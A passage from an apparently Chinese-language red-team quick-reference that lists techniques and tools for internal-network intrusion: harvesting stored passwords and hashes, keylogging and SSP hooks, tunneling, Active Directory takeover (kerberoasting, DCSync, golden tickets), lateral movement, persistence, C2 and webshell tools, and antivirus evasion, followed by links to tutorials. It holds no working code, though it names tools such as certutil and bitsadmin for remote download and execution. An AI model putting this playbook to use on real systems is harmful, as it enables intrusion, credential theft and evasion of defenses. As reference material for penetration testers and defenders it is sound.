   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"
```

* 被动密码搜集\[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

```
Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机密码嗅探 [http,ftp,pop3...]
传统键盘记录
windows蓝屏技巧 [此操作主要为应对不时之需]
```

* Hash爆破:

```
Hashcat [完全拼GPU]
```

## 0x08 内网安全 \[ 隧道 转发 代理 穿透 ]

提炼汇总 ，防御重点

```
出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规http脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp隧道

反向socks5
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向tcp端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

dns加密隧道            

Web端口复用

需要明白的是,红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性
```

## 0x09 域内网安全 \[ 域内渗透 ]

提炼汇总，防御重点

* 针对当前域的一些常规信息搜集\[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]

```
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
获取当前域内策略[主要为了解密码登录策略]
获取当前域林
.......
```

* 快速获取目标域控权限的一些常规手法

```
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解,"尤其是域管用户的" [kerberoast]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实实战中其实用的并不多 ]
```

* 域内后渗透敏感信息搜集分析

```
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service
```

* 域内指定用户登录ip定位

```
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [Silver Ticket]
除此之外,就是下面的各类常规横向手法
```

* 域内指定用户机器定向控制技巧

```
绑定用户登录脚本
利用GPO下发 [实际上GPO能做的事情还非常非常多]
PTT[票据传递]
```

* 针对域管的各种权限维持技巧

```
金票
Skeleton Key
DSRM密码同步
OWA后门
...
```

* 域内Exchange 邮件数据脱取

```
利用Ews接口通过PTH的方式脱邮件
```

## 0x10 内网安全 \[ 跨平台横向 ]

防御重点 ( "重中之重" )

* 从 Windows平台 横向至 Windows平台

```
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本Windows 的WinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控到目标管理员个人机 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行
```

* 从 Windows平台 横向至 \*inux平台

```
plink 或者 基于Windows SSH库自行开发各种远程执行小工具
```

* 从 \*inux平台 横向至 Windows 平台

```
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64

另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行
```

* 从 *inux平台 横向至* inux 平台

```
linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行
```

* 各种远程下载技巧

```
wget.exe [win & linux]
curl.exe [win & linux]
```

```
之所以没着重提以下这些系统内置远程下载执行工具,主要还是因为事先已经明确知道
某些杀软下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对护网这种场景,这些东西根本不在乎多,有一个能用好用的即可

CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......
```

## 0x11 内网安全 \[ 权限维持 ]

防御重点 \[ 注: 有些细节此处并未展开详细说明 ]

* 边界入口权限维持

```
OWA 登录口 [账号密码,webshell]
VPN 登录口 [账号密码,shell]
其他 MAIL 登录口 [账号密码]
边界 Web服务器 [Webshell 驻留技巧]
边界路由交换设备 [账号密码,shell]
...
```

* Windows 单机系统维持 \[临时]

```
系统计划任务 [高权限/低权限]
常规注册表自启动项 [用户权限/system权限]
Mssql存储过程 [继承服务权限]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...
```

* linux 单机系统维持 \[临时]

```
Patch SSH
替换so [PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控
```

## 0x12 各类常用 C2 / 渗透 框架

```
CobaltStrike
  beacon逆向/改进重写
Metasploit
Empire
......
```

## 0x13 各类常用 Webshell管理工具

```
菜刀        caidao20160622
冰蟹        Behinder_v2.0.1
蚁剑        AntSword
......
```

## 0x14 免杀 及 各类防火墙对抗

* 静态

```
常规混淆:
人工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具[有商业版]
...
```

* 加壳

```
一些常用公开壳的实际效果可能并不是太好[也有商业壳]
最好的方式还是尝试自己写壳,就是成本较高
```

* 动态

```
反射
shellcode 加密执行
......
```

* 流量:

```
域前置[利用大厂cdn]
DNS加密隧道
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]
```


# 内网渗透相关

先学形 ，再学意 。

## bmjoker（实战系列）

[1.我所了解的内网渗透](https://www.cnblogs.com/bmjoker/p/10336247.html)

[2.内网渗透之端口转发](https://www.cnblogs.com/bmjoker/p/10264148.html)

[3.内网渗透之reGeorg+Proxifier](https://www.cnblogs.com/bmjoker/p/10205407.html)

[4. 内网渗透之IPC$入侵](https://www.cnblogs.com/bmjoker/p/10355934.html)

[5.内网渗透之PTH\&PTT\&PTK](https://www.cnblogs.com/bmjoker/p/10355979.html)

[6.Dump域内用户Hash姿势集合](https://www.cnblogs.com/bmjoker/p/10529360.html)

[7.内网渗透之windows认证机制](https://www.cnblogs.com/bmjoker/p/10723432.html)

## ARESX（实战+原理系列）

[戏说地狱三头犬](https://ares-x.com/2020/03/12/%E6%88%8F%E8%AF%B4%E5%9C%B0%E7%8B%B1%E4%B8%89%E5%A4%B4%E7%8A%AC/)

[关于IPC和PTH用户权限问题](https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/)

[（一）Windows认证机制](https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6/)

[（二）Kerberos协议](https://ares-x.com/2020/03/17/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%8C%EF%BC%89Kerberos%E5%8D%8F%E8%AE%AE/)

[（三）域内信息搜集](https://ares-x.com/2020/03/18/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%89%EF%BC%89%E5%9F%9F%E5%86%85%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/)

[（四）Dump Password & Hash](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%9B%9B%EF%BC%89Dump-Password-Hash/)

[（五）基于IPC的远程连接](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%94%EF%BC%89%E5%9F%BA%E4%BA%8EIPC%E7%9A%84%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/)

[（六）PTH 哈希传递攻击](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%85%AD%EF%BC%89PTH-%E5%93%88%E5%B8%8C%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/)

[（七）PTT 票据传递攻击](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%83%EF%BC%89PTT-%E7%A5%A8%E6%8D%AE%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/)

## CoolCat（实战+原理分析系列）

[2020-02-2 Windows本地hashdump备忘录](https://thekingofduck.github.io/post/Dumping-Windows-Local-Credentials-Tools/)

[2020-02-28 ](https://thekingofduck.github.io/post/scan-ports-by-cscript/)[利用cscript进行内网端口扫描](https://thekingofduck.github.io/post/scan-ports-by-cscript/)

[2020-03-02 域渗透学习笔记一：域环境的搭建](https://thekingofduck.github.io/post/ADStudy-Part-1-AD-Install/)

[2020-03-02 域渗透学习笔记二：Windows认证机制Net-NTLM刨析](https://thekingofduck.github.io/post/ADStudy-Part-2-Net-NTLM-Study/)

[2020-03-04 域渗透学习笔记三：攻击NTLM](https://thekingofduck.github.io/post/ADStudy-Part-3-Attack-NTLM/)

[2020-03-04 域渗透学习笔记四：域认证机制Kerbroes刨析](https://thekingofduck.github.io/post/ADStudy-Part-4-Kerbroes-Study/)

[2020-03-04 域渗透学习笔记五：攻击Kerbroes](https://thekingofduck.github.io/post/ADStudy-Part-5-Attack-Kerbroes/)

## 彻底理解Windows认证（原理分析系列）

<https://payloads.online/archivers/2018-11-30/1>

## 这才叫专业（深入原理系列）

[windows-protocol](https://daiker.gitbook.io/windows-protocol/) - daikerSec \[内网渗透的常见协议kerberos,ntlm,smb,ldap,netbios分析]

[windows-access-control](https://rootclay.gitbook.io/windows-access-control/) - rootclay \[Windows访问控制]

[NTLM & SSP](https://rootclay.gitbook.io/ntlm/) - rootclay \[NTLM中高级进阶]

[hackndo blog](https://en.hackndo.com/archives/) - Pixis \[AD分析的很详细、很彻底]

## Pentesting\_Active\_directory（脑图）

<https://github.com/Orange-Cyberdefense/ocd-mindmaps> \[最新]

<https://github.com/zha0gongz1/Pentest_MindMap/tree/main/Pentesting%20Active%20Directory> \[翻译较旧]

## Active Directory 漏洞利用备忘单

{% embed url="<https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet>" %}

{% embed url="<https://github.com/RistBS/Awesome-RedTeam-Cheatsheet>" %}

{% embed url="<https://github.com/0range-x/Domain-penetration_one-stop>" %}

{% embed url="<https://github.com/JDArmy/DCSec>" %}

{% embed url="<https://github.com/vpxuser/Central-Management-System-Exploitation-Cheat-Sheet>" %}

## Game Of Active Directory v2

<https://mayfly277.github.io/posts/GOADv2/><br>


# 云安全攻防

云安全攻防

[Hacking the cloud - 入侵云端（AWS、Azure、GCP、Terraform）](https://hackingthe.cloud/)


# ABOUT

ABOUT

此项目仅作为文档速查，本人技术水平有限，难免出现错误，欢迎指正。

引用文档的内容、格式，为了便于阅读会有些许更改，且均已著名来源和作者，侵删。

联系方式：admin\[#]se7ensec.cn


